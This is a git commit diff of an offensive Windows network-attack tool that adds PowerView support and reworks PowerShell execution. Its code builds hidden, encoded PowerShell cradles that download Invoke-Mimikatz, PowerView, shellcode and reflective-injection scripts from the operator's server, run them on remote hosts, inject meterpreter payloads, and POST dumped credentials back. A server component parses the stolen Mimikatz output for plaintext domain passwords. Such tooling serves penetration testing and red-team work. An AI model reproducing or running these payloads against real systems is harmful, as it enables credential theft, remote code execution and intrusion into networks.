Initial PowerView integration, for some reason only works when using

smbexec as the execution method, so for now it's forced to that
Fixed a bug where forcing Powershell code to run in a 32bit process
would cause a rpc_access_denied error message
Made Mimikatz parser output more consistent
Made wmiexec and smbexec output more consistent
main
byt3bl33d3r 2015-11-19 18:13:32 -07:00
parent bff44a5ed2
commit c9bb82fb45
8 changed files with 11041 additions and 55 deletions

View File

@ -8,9 +8,9 @@ class EXECUTOR:
"""Yes, I know this sounds like the pokemon... deal with it""" """Yes, I know this sounds like the pokemon... deal with it"""
def __init__(self, command, host, domain, noOutput, smbconnection): def __init__(self, command, host, domain, noOutput, smbconnection, method):
if settings.args.execm == 'wmi': if method == 'wmi':
wmi_exec = WMIEXEC(command, wmi_exec = WMIEXEC(command,
settings.args.user, settings.args.user,
settings.args.passwd, settings.args.passwd,
@ -22,7 +22,7 @@ class EXECUTOR:
settings.args.kerb) settings.args.kerb)
wmi_exec.run(host, smbconnection) wmi_exec.run(host, smbconnection)
elif settings.args.execm == 'smbexec': elif method == 'smbexec':
smb_exec = SMBEXEC(command, smb_exec = SMBEXEC(command,
'{}/SMB'.format(settings.args.port), '{}/SMB'.format(settings.args.port),
settings.args.user, settings.args.user,
@ -36,7 +36,7 @@ class EXECUTOR:
noOutput) noOutput)
smb_exec.run(host) smb_exec.run(host)
elif settings.args.execm == 'atexec': elif method == 'atexec':
atsvc_exec = TSCH_EXEC(command, atsvc_exec = TSCH_EXEC(command,
settings.args.user, settings.args.user,
settings.args.passwd, settings.args.passwd,

View File

@ -168,29 +168,35 @@ def connect(host):
wdigest.disable() wdigest.disable()
if settings.args.command: if settings.args.command:
EXECUTOR(settings.args.command, host, domain, settings.args.no_output, smb) EXECUTOR(settings.args.command, host, domain, settings.args.no_output, smb, settings.args.execm)
if settings.args.pscommand: if settings.args.pscommand:
EXECUTOR(ps_command(settings.args.pscommand), host, domain, settings.args.no_output, smb) EXECUTOR(ps_command(settings.args.pscommand), host, domain, settings.args.no_output, smb, settings.args.execm)
if settings.args.mimikatz: if settings.args.mimikatz:
powah_command = PowerSploit(settings.args.server, local_ip) powah_command = PowerShell(settings.args.server, local_ip)
EXECUTOR(powah_command.mimikatz(), host, domain, True, smb) EXECUTOR(powah_command.mimikatz(), host, domain, True, smb, settings.args.execm)
if settings.args.mimikatz_cmd: if settings.args.mimikatz_cmd:
powah_command = PowerSploit(settings.args.server, local_ip) powah_command = PowerShell(settings.args.server, local_ip)
EXECUTOR(powah_command.mimikatz(settings.args.mimikatz_cmd), host, domain, True, smb) EXECUTOR(powah_command.mimikatz(settings.args.mimikatz_cmd), host, domain, True, smb, settings.args.execm)
if settings.args.powerview:
#For some reason powerview functions only seem to work when using smbexec...
#I think we might have a mistery on our hands boys and girls!
powah_command = PowerShell(settings.args.server, local_ip)
EXECUTOR(powah_command.powerview(settings.args.powerview), host, domain, True, smb, 'smbexec')
if settings.args.inject: if settings.args.inject:
powah_command = PowerSploit(settings.args.server, local_ip) powah_command = PowerShell(settings.args.server, local_ip)
if settings.args.inject.startswith('met_'): if settings.args.inject.startswith('met_'):
EXECUTOR(powah_command.inject_meterpreter(), host, domain, True, smb) EXECUTOR(powah_command.inject_meterpreter(), host, domain, True, smb, settings.args.execm)
if settings.args.inject == 'shellcode': if settings.args.inject == 'shellcode':
EXECUTOR(powah_command.inject_shellcode(), host, domain, True, smb) EXECUTOR(powah_command.inject_shellcode(), host, domain, True, smb, settings.args.execm)
if settings.args.inject == 'dll' or settings.args.inject == 'exe': if settings.args.inject == 'dll' or settings.args.inject == 'exe':
EXECUTOR(powah_command.inject_exe_dll(), host, domain, True, smb) EXECUTOR(powah_command.inject_exe_dll(), host, domain, True, smb, settings.args.execm)
try: try:
smb.logoff() smb.logoff()
except: except:

View File

@ -9,17 +9,16 @@ def ps_command(command):
command = "[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" + command command = "[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" + command
if settings.args.force_ps32: if settings.args.force_ps32:
logging.info('Wrapping the following PS command in a PS32 IEX cradle: ' + command) logging.info('Forcing the following command to execute in a 32bit PS process: ' + command)
command = 'IEX "$Env:windir\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe -exec bypass -window hidden -noni -nop -encoded {}"'.format(b64encode(command.encode('UTF-16LE'))) command = '%SystemRoot%\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(command.encode('UTF-16LE')))
else:
command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(command.encode('UTF-16LE')))
base64_command = b64encode(command.encode('UTF-16LE')) logging.info('Full PS command: ' + command)
logging.info('Full PS command to be encoded: ' + command) return command
ps_command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(base64_command)
return ps_command class PowerShell:
class PowerSploit:
""" """
https://www.youtube.com/watch?v=nm6DO_7px1I https://www.youtube.com/watch?v=nm6DO_7px1I
@ -29,15 +28,13 @@ class PowerSploit:
self.localip = localip self.localip = localip
self.protocol = server self.protocol = server
self.func_name = settings.args.obfs_func_name self.func_name = settings.args.obfs_func_name
if server == 'smb':
self.protocol = 'file'
def mimikatz(self, command='privilege::debug sekurlsa::logonpasswords exit'): def mimikatz(self, command='privilege::debug sekurlsa::logonpasswords exit'):
command = """ command = """
IEX (New-Object Net.WebClient).DownloadString('{protocol}://{addr}/tmp/Invoke-Mimikatz.ps1'); IEX (New-Object Net.WebClient).DownloadString('{protocol}://{addr}/Invoke-Mimikatz.ps1');
$creds = Invoke-{func_name} -Command '{katz_command}'; $creds = Invoke-{func_name} -Command '{katz_command}';
$request = [System.Net.WebRequest]::Create('{protocol}://{addr}/tmp'); $request = [System.Net.WebRequest]::Create('{protocol}://{addr}/');
$request.Method = 'POST'; $request.Method = 'POST';
$request.ContentType = 'application/x-www-form-urlencoded'; $request.ContentType = 'application/x-www-form-urlencoded';
$bytes = [System.Text.Encoding]::ASCII.GetBytes($creds); $bytes = [System.Text.Encoding]::ASCII.GetBytes($creds);
@ -52,9 +49,28 @@ class PowerSploit:
return ps_command(command) return ps_command(command)
def powerview(self, command):
command = """
IEX (New-Object Net.WebClient).DownloadString('{protocol}://{addr}/powerview.ps1');
$output = {view_command} | Out-String;
$request = [System.Net.WebRequest]::Create('{protocol}://{addr}/');
$request.Method = 'POST';
$request.ContentType = 'application/x-www-form-urlencoded';
$bytes = [System.Text.Encoding]::ASCII.GetBytes($output);
$request.ContentLength = $bytes.Length;
$requestStream = $request.GetRequestStream();
$requestStream.Write( $bytes, 0, $bytes.Length );
$requestStream.Close();
$request.GetResponse();""".format(protocol=self.protocol,
addr=self.localip,
view_command=command)
return ps_command(command)
def inject_meterpreter(self): def inject_meterpreter(self):
command = """ command = """
IEX (New-Object Net.WebClient).DownloadString('{0}://{1}/tmp/Invoke-Shellcode.ps1'); IEX (New-Object Net.WebClient).DownloadString('{0}://{1}/Invoke-Shellcode.ps1');
Invoke-{2} -Force -Payload windows/meterpreter/{3} -Lhost {4} -Lport {5}""".format(self.protocol, Invoke-{2} -Force -Payload windows/meterpreter/{3} -Lhost {4} -Lport {5}""".format(self.protocol,
self.localip, self.localip,
self.func_name, self.func_name,
@ -70,9 +86,9 @@ class PowerSploit:
def inject_shellcode(self): def inject_shellcode(self):
command = """ command = """
IEX (New-Object Net.WebClient).DownloadString('{protocol}://{addr}/tmp/Invoke-Shellcode.ps1'); IEX (New-Object Net.WebClient).DownloadString('{protocol}://{addr}/Invoke-Shellcode.ps1');
$WebClient = New-Object System.Net.WebClient; $WebClient = New-Object System.Net.WebClient;
[Byte[]]$bytes = $WebClient.DownloadData('{protocol}://{addr}/tmp2/{shellcode}'); [Byte[]]$bytes = $WebClient.DownloadData('{protocol}://{addr}/{shellcode}');
Invoke-{func_name} -Force -Shellcode $bytes""".format(protocol=self.protocol, Invoke-{func_name} -Force -Shellcode $bytes""".format(protocol=self.protocol,
func_name=self.func_name, func_name=self.func_name,
addr=self.localip, addr=self.localip,
@ -87,8 +103,8 @@ class PowerSploit:
def inject_exe_dll(self): def inject_exe_dll(self):
command = """ command = """
IEX (New-Object Net.WebClient).DownloadString('{protocol}://{addr}/tmp/Invoke-ReflectivePEInjection.ps1'); IEX (New-Object Net.WebClient).DownloadString('{protocol}://{addr}/Invoke-ReflectivePEInjection.ps1');
Invoke-{func_name} -PEUrl {protocol}://{addr}/tmp2/{pefile}""".format(protocol=self.protocol, Invoke-{func_name} -PEUrl {protocol}://{addr}/{pefile}""".format(protocol=self.protocol,
func_name=self.func_name, func_name=self.func_name,
addr=self.localip, addr=self.localip,
pefile=settings.args.path.split('/')[-1]) pefile=settings.args.path.split('/')[-1])

View File

@ -40,6 +40,7 @@ from core.servers.smbserver import SMBServer
from impacket import version from impacket import version
from impacket.smbconnection import * from impacket.smbconnection import *
from impacket.dcerpc.v5 import transport, scmr from impacket.dcerpc.v5 import transport, scmr
from StringIO import StringIO
OUTPUT_FILENAME = ''.join(random.sample(string.ascii_letters, 10)) OUTPUT_FILENAME = ''.join(random.sample(string.ascii_letters, 10))
BATCH_FILENAME = ''.join(random.sample(string.ascii_letters, 10)) + '.bat' BATCH_FILENAME = ''.join(random.sample(string.ascii_letters, 10)) + '.bat'
@ -234,5 +235,7 @@ class RemoteShell(cmd.Cmd):
peer = ':'.join(map(str, self.__rpc.get_socket().getpeername())) peer = ':'.join(map(str, self.__rpc.get_socket().getpeername()))
print_succ("{} Executed command via SMBEXEC".format(peer)) print_succ("{} Executed command via SMBEXEC".format(peer))
if self.__noOutput is False: if self.__noOutput is False:
print_att(self.__outputBuffer.strip()) buf = StringIO(self.__outputBuffer.strip()).readlines()
for line in buf:
print_att(line.strip())
self.__outputBuffer = '' self.__outputBuffer = ''

View File

@ -26,6 +26,7 @@ import logging
import string import string
import random import random
import ntpath import ntpath
import core.settings as settings
from gevent import sleep from gevent import sleep
from core.logger import * from core.logger import *
@ -34,7 +35,7 @@ from impacket.smbconnection import SMBConnection, SMB_DIALECT, SMB2_DIALECT_002,
from impacket.dcerpc.v5.dcomrt import DCOMConnection from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcom import wmi from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5.dtypes import NULL
import core.settings as settings from StringIO import StringIO
OUTPUT_FILENAME = ''.join(random.sample(string.ascii_letters, 10)) OUTPUT_FILENAME = ''.join(random.sample(string.ascii_letters, 10))
@ -229,5 +230,7 @@ class RemoteShell(cmd.Cmd):
print_succ('{}:{} Executed command via WMIEXEC'.format(self.__win32Process.get_target(), print_succ('{}:{} Executed command via WMIEXEC'.format(self.__win32Process.get_target(),
settings.args.port)) settings.args.port))
if self.__noOutput is False: if self.__noOutput is False:
print_att(self.__outputBuffer.strip()) buf = StringIO(self.__outputBuffer.strip()).readlines()
for line in buf:
print_att(line.strip())
self.__outputBuffer = '' self.__outputBuffer = ''

View File

@ -18,12 +18,20 @@ class MimikatzServer(BaseHTTPRequestHandler):
def log_message(self, format, *args): def log_message(self, format, *args):
print_message("%s - - %s" % (self.client_address[0], format%args)) print_message("%s - - %s" % (self.client_address[0], format%args))
def save_mimikatz_output(self, data):
log_name = 'Mimikatz-{}-{}.log'.format(self.client_address[0], datetime.now().strftime("%Y-%m-%d_%H:%M:%S"))
with open('logs/' + log_name, 'w') as creds:
creds.write(data)
print_status("{} Saved POST data to {}".format(self.client_address[0], yellow(log_name)))
def do_GET(self): def do_GET(self):
if self.path[5:].endswith('.ps1') and self.path[5:] in os.listdir('hosted'): if self.path[1:].endswith('.ps1') and self.path[1:] in os.listdir('hosted'):
self.send_response(200) self.send_response(200)
self.end_headers() self.end_headers()
with open('hosted/'+ self.path[4:], 'rb') as script: with open('hosted/'+ self.path[1:], 'rb') as script:
ps_script = script.read() ps_script = script.read()
if self.path[1:] != 'powerview.ps1':
logging.info('Obfuscating Powershell script')
ps_script = eval(synopsis.sub('', repr(ps_script))) #Removes the synopsys ps_script = eval(synopsis.sub('', repr(ps_script))) #Removes the synopsys
ps_script = func_name.sub(settings.args.obfs_func_name, ps_script) #Randomizes the function name ps_script = func_name.sub(settings.args.obfs_func_name, ps_script) #Randomizes the function name
ps_script = comments.sub('', ps_script) #Removes the comments ps_script = comments.sub('', ps_script) #Removes the comments
@ -31,7 +39,7 @@ class MimikatzServer(BaseHTTPRequestHandler):
self.wfile.write(ps_script) self.wfile.write(ps_script)
elif settings.args.path: elif settings.args.path:
if self.path[6:] == settings.args.path.split('/')[-1]: if self.path[1:] == settings.args.path.split('/')[-1]:
self.send_response(200) self.send_response(200)
self.end_headers() self.end_headers()
with open(settings.args.path, 'rb') as rbin: with open(settings.args.path, 'rb') as rbin:
@ -50,25 +58,36 @@ class MimikatzServer(BaseHTTPRequestHandler):
if settings.args.mimikatz: if settings.args.mimikatz:
try: try:
buf = StringIO(data).readlines() buf = StringIO(data).readlines()
plaintext_creds = []
i = 0 i = 0
while i < len(buf): while i < len(buf):
if ('Password' in buf[i]) and ('(null)' not in buf[i]): if ('Password' in buf[i]) and ('(null)' not in buf[i]):
passw = buf[i].split(':')[1].strip() passw = buf[i].split(':')[1].strip()
domain = buf[i-1].split(':')[1].strip() domain = buf[i-1].split(':')[1].strip()
user = buf[i-2].split(':')[1].strip() user = buf[i-2].split(':')[1].strip()
print_succ('{} Found plain text creds! Domain: {} Username: {} Password: {}'.format(self.client_address[0], yellow(domain), yellow(user), yellow(passw))) plaintext_creds.append('{}\\{}:{}'.format(domain, user, passw))
i += 1 i += 1
if plaintext_creds:
print_succ('{} Found plain text credentials (domain\\user:password):'.format(self.client_address[0]))
for cred in plaintext_creds:
print_att(u'{}'.format(cred))
except Exception as e: except Exception as e:
print_error("Error while parsing Mimikatz output: {}".format(e)) print_error("Error while parsing Mimikatz output: {}".format(e))
elif settings.args.mimi_cmd: self.save_mimikatz_output(data)
print_att(data)
log_name = 'Mimikatz-{}-{}.log'.format(self.client_address[0], datetime.now().strftime("%Y-%m-%d_%H:%M:%S")) elif settings.args.mimikatz_cmd:
with open('logs/' + log_name, 'w') as creds: print_succ('{} Mimikatz command output:'.format(self.client_address[0]))
creds.write(data) print_att(data)
print_status("{} Saved POST data to {}".format(self.client_address[0], yellow(log_name))) self.save_mimikatz_output(data)
elif settings.args.powerview:
print_succ('{} PowerView command output:'.format(self.client_address[0]))
buf = StringIO(data.strip()).readlines()
for line in buf:
print_att(line.strip())
def http_server(): def http_server():
http_server = BaseHTTPServer.HTTPServer(('0.0.0.0', 80), MimikatzServer) http_server = BaseHTTPServer.HTTPServer(('0.0.0.0', 80), MimikatzServer)

View File

@ -59,7 +59,7 @@ parser = argparse.ArgumentParser(description="""
version='2.0 - {}'.format(CODENAME), version='2.0 - {}'.format(CODENAME),
epilog='There\'s been an awakening... have you felt it?') epilog='There\'s been an awakening... have you felt it?')
parser.add_argument("-t", type=int, dest="threads", default=10, help="Set how many concurrent threads to use (defaults to 10)") parser.add_argument("-t", type=int, dest="threads", default=100, help="Set how many concurrent threads to use (defaults to 100)")
parser.add_argument("-u", metavar="USERNAME", dest='user', type=str, default=None, help="Username(s) or file containing usernames") parser.add_argument("-u", metavar="USERNAME", dest='user', type=str, default=None, help="Username(s) or file containing usernames")
parser.add_argument("-p", metavar="PASSWORD", dest='passwd', type=str, default=None, help="Password(s) or file containing passwords") parser.add_argument("-p", metavar="PASSWORD", dest='passwd', type=str, default=None, help="Password(s) or file containing passwords")
parser.add_argument("-H", metavar="HASH", dest='hash', type=str, default=None, help='NTLM hash(es) or file containing NTLM hashes') parser.add_argument("-H", metavar="HASH", dest='hash', type=str, default=None, help='NTLM hash(es) or file containing NTLM hashes')
@ -95,6 +95,7 @@ egroup.add_argument("--users", action='store_true', dest='enum_users', help='Enu
egroup.add_argument("--rid-brute", nargs='?', const=4000, metavar='MAX_RID', dest='rid_brute', help='Enumerate users by bruteforcing RID\'s (defaults to 4000)') egroup.add_argument("--rid-brute", nargs='?', const=4000, metavar='MAX_RID', dest='rid_brute', help='Enumerate users by bruteforcing RID\'s (defaults to 4000)')
egroup.add_argument("--pass-pol", action='store_true', dest='pass_pol', help='Dump password policy') egroup.add_argument("--pass-pol", action='store_true', dest='pass_pol', help='Dump password policy')
egroup.add_argument("--lusers", action='store_true', dest='enum_lusers', help='Enumerate logged on users') egroup.add_argument("--lusers", action='store_true', dest='enum_lusers', help='Enumerate logged on users')
egroup.add_argument("--powerview", metavar='POWERVIEW_CMD', dest='powerview', help='Run the specified PowerView command')
egroup.add_argument("--wmi", metavar='QUERY', type=str, dest='wmi_query', help='Issues the specified WMI query') egroup.add_argument("--wmi", metavar='QUERY', type=str, dest='wmi_query', help='Issues the specified WMI query')
sgroup = parser.add_argument_group("Spidering", "Options for spidering shares") sgroup = parser.add_argument_group("Spidering", "Options for spidering shares")
@ -107,7 +108,7 @@ sgroup.add_argument("--depth", type=int, default=10, help='Spider recursion dept
cgroup = parser.add_argument_group("Command Execution", "Options for executing commands") cgroup = parser.add_argument_group("Command Execution", "Options for executing commands")
cgroup.add_argument('--execm', choices={"wmi", "smbexec", "atexec"}, default="wmi", help="Method to execute the command (default: wmi)") cgroup.add_argument('--execm', choices={"wmi", "smbexec", "atexec"}, default="wmi", help="Method to execute the command (default: wmi)")
cgroup.add_argument('--force-ps32', action='store_true', dest='force_ps32', help='Force all PowerShell code/commands to run in a 32bit process') cgroup.add_argument('--force-ps32', action='store_true', dest='force_ps32', help='Forces all PowerShell code/commands to run in a 32bit process')
cgroup.add_argument('--no-output', action='store_true', dest='no_output', help='Do not retrieve command output') cgroup.add_argument('--no-output', action='store_true', dest='no_output', help='Do not retrieve command output')
cgroup.add_argument("-x", metavar="COMMAND", dest='command', help="Execute the specified command") cgroup.add_argument("-x", metavar="COMMAND", dest='command', help="Execute the specified command")
cgroup.add_argument("-X", metavar="PS_COMMAND", dest='pscommand', help='Excute the specified powershell command') cgroup.add_argument("-X", metavar="PS_COMMAND", dest='pscommand', help='Excute the specified powershell command')
@ -217,7 +218,7 @@ else:
for target in args.target.split(','): for target in args.target.split(','):
targets.append(get_targets(target)) targets.append(get_targets(target))
if args.mimikatz or args.mimikatz_cmd or args.inject or args.ntds == 'ninja': if args.mimikatz or args.powerview or args.mimikatz_cmd or args.inject or args.ntds == 'ninja':
if args.server == 'http': if args.server == 'http':
http_server() http_server()
@ -238,7 +239,7 @@ def concurrency(targets):
concurrency(targets) concurrency(targets)
if args.mimikatz or args.mimikatz_cmd or args.inject or args.ntds == 'ninja': if args.mimikatz or args.powerview or args.mimikatz_cmd or args.inject or args.ntds == 'ninja':
try: try:
while True: while True:
sleep(1) sleep(1)

10938
hosted/powerview.ps1 Normal file

File diff suppressed because it is too large Load Diff